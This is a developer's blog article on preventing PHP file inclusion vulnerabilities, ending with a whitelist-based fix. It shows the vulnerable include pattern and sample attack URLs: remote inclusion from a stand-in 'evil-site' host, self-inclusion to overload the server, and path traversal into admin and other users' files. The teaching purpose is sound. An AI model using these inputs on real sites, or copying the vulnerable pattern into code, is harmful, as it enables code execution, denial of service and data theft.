Kristof Kovacs

Software architect, consultant

Avoiding the file inclusion exploit

This article is part of a series that I hope helps programmers code more secure websites, the previous article being about SQL inclusion.

Consider the following PHP code:

$page = $_REQUEST['page'];
include($page . '.php');

At first it seems like it has the marks of a good, simple, well-extendable code. You just have to create new PHP files to add new commands to this application, isn't that good?

Yes, that part is good. The problem is, some of PHP's features are too powerful to be safe. An attacker could craft an URL like this:

http://your-app/index.php?page=http://evil-site/malicious-code

Photo courtesy of clintjcl

And then PHP code that he has written will get executed on your server. It could do almost anything. Download any file you store on the server. Change other users' sessions, changing their preferences, putting things into their shopping cart, etc. Access the database, stealing passwords (you do store passwords encrypted, I hope?), stealing e-mail addresses, residential addresses, whatever you store on the database. It can create new files, uploading viruses or phishing websites.

Another way to exploit code like that, even if remote file inclusion is disabled, is to include local files. As one obvious example, how much load will this put on your server?

http://your-app/index.php?page=index

Yes, a lot. PHP scripts by default time out after 30 seconds, that leaves a lot of time for this code to spend in an endless loop, maxing out both CPU and memory usage. And it doesn't take a lot to start up a few hundreds of this, effectively DOS-ing ("Denial Of Service") all the websites on that server, disabling commerce, and disrupting operations like email and the Intranet, if they are on the same server.

Or, suppose you put the administration area in a predictable directory, then used .htaccess to protect it:

http://your-app/index.php?page=admin/index

.htaccess doesn't protect your admin area now, since it works on the webserver level, and not on the PHP level.

Or suppose that they know (or guess) the name of some other PHP file:

http://your-app/index.php?page=../../../../../../../../home/otheruser/othersite/index

How to avoid file inclusion exploits?

Don't assume that anything that comes from the user can be trusted (again). Write your code like this, however tedious it seems:

$page = $_REQUEST['page'];
switch ($page) {
  case 'products':
    include('products.inc');
    break;
  case 'login':
    include('login.inc');
    break;
}

Also notice that I've changed the included file extension from .php to .inc. It's to avoid having somebody directly call those PHP files.

Further reading:

Remote File inclusion at the Web Application Security Consortium